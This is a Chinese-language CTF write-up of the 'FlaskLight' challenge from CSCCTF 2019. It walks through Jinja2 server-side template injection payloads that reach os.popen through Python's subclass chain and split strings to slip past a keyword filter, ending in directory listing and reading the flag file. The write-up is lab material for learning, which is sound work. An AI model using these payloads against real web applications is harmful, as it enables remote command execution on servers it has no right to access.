一天一道ctf 第51天

[CSCCTF 2019 Qual]FlaskLight
在这里插入图片描述
查看源码有提示,模板注入做的很多了。?search={{7*7}}看一下注入的类型,确定是SSTI注入。在这里插入图片描述
因为之前做过类似的题,用的是catch_warnings类,这次想用一样的payload但是好像不行

?search= {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.['__glo'+'bals__']['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

?search=[].__class__.__base__.__subclasses__()看一下是有catch_warnings这个类的,最后试下来是listdir被过滤了,换成popen('ls').read()就好了。
在这里插入图片描述

http://ce91ad90-010d-478f-91b2-e2294cdb4ac2.node4.buuoj.cn:81/?search= {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__['__glo'+'bals__']['__builtins__']['__imp'+'ort__']('o'+'s').popen('ls').read()}}{% endif %}{% endfor %}

在这里插入图片描述
拿到目录,再进入flasklight文件夹下

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__['__glo'+'bals__']['__builtins__']['__imp'+'ort__']('o'+'s').popen('ls /flasklight').read()}}{% endif %}{% endfor %}

在这里插入图片描述
最后cat /flasklight/coomme_geeeett_youur_flek拿到flag
在这里插入图片描述
还可以用site._Printer类和subprocess.Popen类来做
https://www.cnblogs.com/ersuani/p/13896200.html
添加链接描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值